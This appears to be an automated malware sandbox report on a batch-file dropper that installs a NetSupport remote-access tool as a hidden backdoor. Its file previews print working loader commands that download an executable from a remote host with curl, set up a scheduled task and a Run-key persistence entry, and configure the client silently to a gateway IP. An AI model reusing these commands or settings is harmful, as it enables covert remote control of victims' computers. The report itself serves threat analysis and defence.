http://www.netsupportschool.com/tutor-assistant.asp	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656355109.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412171192.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433693165.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.451024068.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.252.178.48	unknown	Moldova Republic of	39798	MIVOCLOUDMD	false
188.127.225.160	ponraj.com	Russian Federation	56694	DHUBRU	false
62.172.138.67	geography.netsupportsoftware.com	United Kingdom	5400	BTGB	false

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1275250
Start date and time:	2023-07-18 17:36:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	tUUPQygorhzFkIcHuB.bat
Detection:	MAL
Classification:	mal76.evad.winBAT@42/29@4/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 69.8% (good quality ratio 66.9%) Quality average: 84.6% Quality standard deviation: 25.8%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.254
Excluded domains from analysis (whitelisted): l-9999.l-msedge.net, l-ring.msedge.net, ctldl.windowsupdate.com, l-ring.l-9999.l-msedge.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:37:15	Task Scheduler	Run new task: KAVAQQQ path: cmd.exe s>/c C:\ProgramData\client32.exe
17:37:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run KAVAS C:\ProgramData\client32.exe
17:37:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run KAVAS C:\ProgramData\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5.252.178.48	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	http://5.252.178.48/fakeurl.htm
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	http://5.252.178.48/fakeurl.htm
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	http://5.252.178.48/fakeurl.htm
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	http://5.252.178.48/fakeurl.htm
188.127.225.160	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse
	2_1.bat	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	2.bat	Get hash	malicious	Unknown	Browse
	sett.bat	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geography.netsupportsoftware.com	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	PurchaseOrder.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	a6PzqKcp6K.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	Browser_update.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	Browser_update.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	auf1536.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	rechn1831.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	auf1536.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	rechn1831.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	i7gVJvg3pD.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	ChatGPT_3.1.48.exe	Get hash	malicious	Stealc, Vidar	Browse	62.172.138.8
	file.exe	Get hash	malicious	CryptOne	Browse	62.172.138.8
	file.exe	Get hash	malicious	CryptOne	Browse	62.172.138.8
	file.exe	Get hash	malicious	CryptOne	Browse	62.172.138.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	b8tbjIBJHl.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	7y8aSAoE8h.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	NKtBM621gg.elf	Get hash	malicious	Unknown	Browse	5.252.177.46
	rV0TrBFR5y.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	http://5.252.177.59	Get hash	malicious	Unknown	Browse	5.252.177.59
	http://5.252.177.59	Get hash	malicious	Unknown	Browse	5.252.177.59
	Browser_update.js	Get hash	malicious	Unknown	Browse	94.158.244.118
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse	94.158.244.118
	Browser_update.js	Get hash	malicious	Unknown	Browse	94.158.244.118
	nhVJ8J5qOt.exe	Get hash	malicious	Pushdo	Browse	185.163.45.187
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	94.158.244.118
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	94.158.244.118
	i7gVJvg3pD.js	Get hash	malicious	Unknown	Browse	94.158.244.118

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	TNT_Shipment_doc.exe	Get hash	malicious	AgentTesla, NSISDropper	Browse	188.127.225.160
	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	Halkbank_Ekstre_20230718_080954_114612.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	Sat#U0131nalma_sipari#U015fi_ve_#U015firket_profili.exe	Get hash	malicious	AgentTesla, NSISDropper	Browse	188.127.225.160
	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	KGFGayBH4i.exe	Get hash	malicious	Customer Loader	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	CMATGTWOiC.exe	Get hash	malicious	Customer Loader	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	23qzm5A7rc.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	lboRWAQs98.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	ukXq7dzEOI.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	9q70lA1xYB.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	i04Fj99YfC.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	UfSrk8LZGT.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	xECZWKhLwO.exe	Get hash	malicious	AgentTesla	Browse	188.127.225.160
	ORDER.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	188.127.225.160

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\7zz.exe	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	i7gVJvg3pD.js	Get hash	malicious	Unknown	Browse
	InstallationAssistant.exe	Get hash	malicious	Unknown	Browse
	11.bat	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse
	InstallationAssistant (1).exe	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse
	UpdateInstaller.js	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\2.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with very long lines (400), with CRLF line terminators
Category:	modified
Size (bytes):	787
Entropy (8bit):	5.371007510785802
Encrypted:	false
SSDEEP:	12:jhXhp+faQFFuP28IFPVa4WSSHVjW2Vj0SaRtfcBidEWSDcEVLh:php41aYSlVURtfcBIEDvLh
MD5:	4922DDBA83391B92EF1081381A8E1433
SHA1:	77A57DD484737C1D6C7218EE2CD7B84ADBA0FEAE
SHA-256:	B474DC9562308D4419D93BC14E8E942290A44036CBCB9477E5ABBB77992CE954
SHA-512:	45BD6164BC63F345A8900B5DA65FCD709A9A1DBE912E2A11F479527C6F4842BF6509A027C4E3E897E7CA231F93C0F100A9EBC826619D92E4BEC92DA458F9E9CC
Malicious:	false
Preview:	@echo off....:: 3Z6f6fs6fssb..:: 3Z6fs6fsb....set "fdaa=set "..%fdaa%"cvbfggdfg=C:\Prog"..%fdaa%"iuiuiuiui=ramD"..%fdaa%"jhggfg=ata\"......start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min xcopy /h /y lol.7z C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\ && TIMEOUT /T 3 && start /b /min SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00 && start /b /min cmd /c C:\ProgramData\client32.exe....set KAVAQ=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run..reg query "%KAVAQ%" >nul 2>&1.. if %errorlevel% equ 0 (.. reg add "%KAVAQ%" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f .. ).. ..:: 2Z6f33sd6fsfsRb..:: 1Z6f6fsssRb

C:\ProgramData\7z.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	241
Entropy (8bit):	5.2782527207110315
Encrypted:	false
SSDEEP:	6:CxBR2923fDfFlIw8UlLAHbKx4/mWB1923fmvn:cnzrfF0C0vet+v
MD5:	DFCA475A267E9D9B161346F9F7AD57DC
SHA1:	987780A88AFC810ED6B5AC6F1C3680F5A067058D
SHA-256:	6A6B925C5E7030DB718C319B0D8528D427E9D8DF65CA7C56E6C0910A122048F9
SHA-512:	7687512E36900AAD163C91249173B90D8006F7B5F3964626B6E710A13002D60B40EA69E7FCE6798F1E6A8963CF418967AABFD84D1C0288B373747214B6BD11FA
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/7z.exe" ( curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe" ) .."C:\Users\user\AppData\Local\Temp/7zz.exe"..

C:\ProgramData\7zz.exe

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	587776
Entropy (8bit):	6.439962628647099
Encrypted:	false
SSDEEP:	12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
MD5:	42BADC1D2F03A8B1E4875740D3D49336
SHA1:	CEE178DA1FB05F99AF7A3547093122893BD1EB46
SHA-256:	C136B1467D669A725478A6110EBAAAB3CB88A3D389DFA688E06173C066B76FCF
SHA-512:	6BC519A7368EE6BD8C8F69F2D634DD18799B4CA31FBC284D2580BA625F3A88B6A52D2BC17BEA0E75E63CA11C10356C47EE00C2C500294ABCB5141424FC5DC71C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat, Detection: malicious, Browse Filename: h60FUiSRcC.js, Detection: malicious, Browse Filename: h60FUiSRcC.js, Detection: malicious, Browse Filename: niqS1law5h.js, Detection: malicious, Browse Filename: niqS1law5h.js, Detection: malicious, Browse Filename: iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat, Detection: malicious, Browse Filename: Browser_update.js, Detection: malicious, Browse Filename: Browser_portable_version.js, Detection: malicious, Browse Filename: Browser_update.js, Detection: malicious, Browse Filename: 8bx1ECBJPP.js, Detection: malicious, Browse Filename: 8bx1ECBJPP.js, Detection: malicious, Browse Filename: i7gVJvg3pD.js, Detection: malicious, Browse Filename: InstallationAssistant.exe, Detection: malicious, Browse Filename: 11.bat, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse Filename: InstallationAssistant (1).exe, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse Filename: UpdateInstaller.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.rR9p..9p..9p..Bl..;p...l.. p...V..[p...xC.8p..9p...p...xA.>p...V...p..V....p..V...;p...v..8p..Rich9p..................PE..L....S.L............................L.............@.........................................................................\...P.......(...............................................................................P............................text............................... ..`.rdata..............................@..@.data............l..................@....sxdata.............................@....rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HINTSS.txt

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.8855130303998817
Encrypted:	false
SSDEEP:	3:LrAS/:l
MD5:	A9AD5FB13439DCBBA98490491C71B484
SHA1:	D0595360A83B8DEEAC3E61407BD654E747203CE3
SHA-256:	FFB1559BEEAEC3262BE121C2F41D3D15BF193531B7A2B9A73ABFEF6D805BD64F
SHA-512:	E1EEB583031D26C14669CFCCE9ABB7D98C8347D490CE0B807D0E31009C3A6D7EFB4FD7163D3ADEF39F15E45F0680574AEA43F97F1305E7DC98CD1F124A2CE15E
Malicious:	false
Preview:	HERE THE HELP FILE

C:\ProgramData\HTCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\NSM.LIC

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.1458289587885675
Encrypted:	false
SSDEEP:	6:O/oPDvXk4xRPjwx3LzX81DKHMoEEjLgpW2MorGLUfKdYpPM/ioxTKa8l6i7s:X7XZR7wx3LzXBJjjqW2M23KKPM/iox7X
MD5:	1B41E64C60CA9DFADEB063CD822AB089
SHA1:	ABFCD51BB120A7EAE5BBD9A99624E4ABE0C9139D
SHA-256:	F4E2F28169E0C88B2551B6F1D63F8BA513FEB15BEACC43A82F626B93D673F56D
SHA-512:	C97E0EABEA62302A4CFEF974AC309F3498505DD055BA74133EE2462E215B3EBC5C647E11BCBAC1246B9F750B5D09240CA08A6B617A7007F2FA955F6B6DD7FEE4
Malicious:	false
Preview:	1200..0xa353ff01....; NetSupport License File...; Generated on 14:45 - 17/07/2022........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=HANEYMANEY..maxslaves=8888..os2=1..product=10..serial_no=NSM385736..shrink_wrap=0..transport=0..

C:\ProgramData\NSM.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\ProgramData\PCICHEK.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\PCICL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\ProgramData\TCCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101680
Entropy (8bit):	4.481468672521447
Encrypted:	false
SSDEEP:	384:qUjV5+6j6Qa86Fkv2Wr120hZIq6nYPL7NheMxnB1:qgVZl6FhWr80/h6EN/
MD5:	F70B67C2B3204B7DDD8B755799CCCFF0
SHA1:	A42E55E328D62D11E687C167BB7049D46F0F9B26
SHA-256:	213AF995D4142854B81AF3CF73DEE7FFE9D8AD6E84FDA6386029101DBF3DF897
SHA-512:	54FCBA8A063BFBAAE4C3A39624BF3407DB6AF5699AB8686F936AB03C5864DF7A44D089066FA2D4AEDF5AD50D6B04624966A5111BF57BEC1DDA74A571F1DD7C63
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i...........t..0........... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	713
Entropy (8bit):	5.26282931636882
Encrypted:	false
SSDEEP:	12:iOxS2h3q+jhGSGpBlsVTXuZ7+DP98XTKIDWss1CYubluh1fv09GJ/:iOI2hFhapBlLoGXuIDvsPuEs4t
MD5:	99C9A23CA6754F0CF146A095E9E666D3
SHA1:	817EBBA693F606C1CB8C5524360961B13642E6B9
SHA-256:	AE1399C7B00710CDD7C119BEE4B42C107BFEE79C399B27A497A19094150F53AD
SHA-512:	68970CF9EC3065860AE60A225014A71A1AAC1311102605B7FB85C58FC76537A44169FAC1FA9368E1AA82F564147626F46B194B89300E171D6FA740E57A5B3402
Malicious:	false
Preview:	0xd2aa09cb....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=0..DisableClientConnect=0..DisableCloseApps=1..DisableDisconnect=0..DisableManageServices=1..DisableMessage=1..DisableReplayMenu=0..DisableRequestHelp=0..HideWhenIdle=1..Protocols=3..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Users\Administrator\Desktop\1\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=5.252.178.48:443..GSK=GA;L@KDPHB<P@DDHGI;J@MCO..Port=443..SecondaryGateway=..SecondaryPort=..

C:\ProgramData\lol.7z

Process:	C:\Windows\System32\curl.exe
File Type:	7-zip archive data, version 0.4
Category:	modified
Size (bytes):	2305650
Entropy (8bit):	7.9999152596235446
Encrypted:	true
SSDEEP:	49152:gDHf7GK0RIZLYUIFWsFYL7084J3Sr7Y1t/iAJkxNkvTMTTi0oIFJePBM5Pk:gDHfcyZ8/FW8Y9m9i5IvE+
MD5:	7BFC5AD1796A0BBAEFCAD64239543506
SHA1:	BB1F0B198D9011B00164FAD88523C35369EB9E4A
SHA-256:	42679BD369A3B772C43B9BA20BF8A31A2593A360CFA2DE77AA6D2023F9A0C109
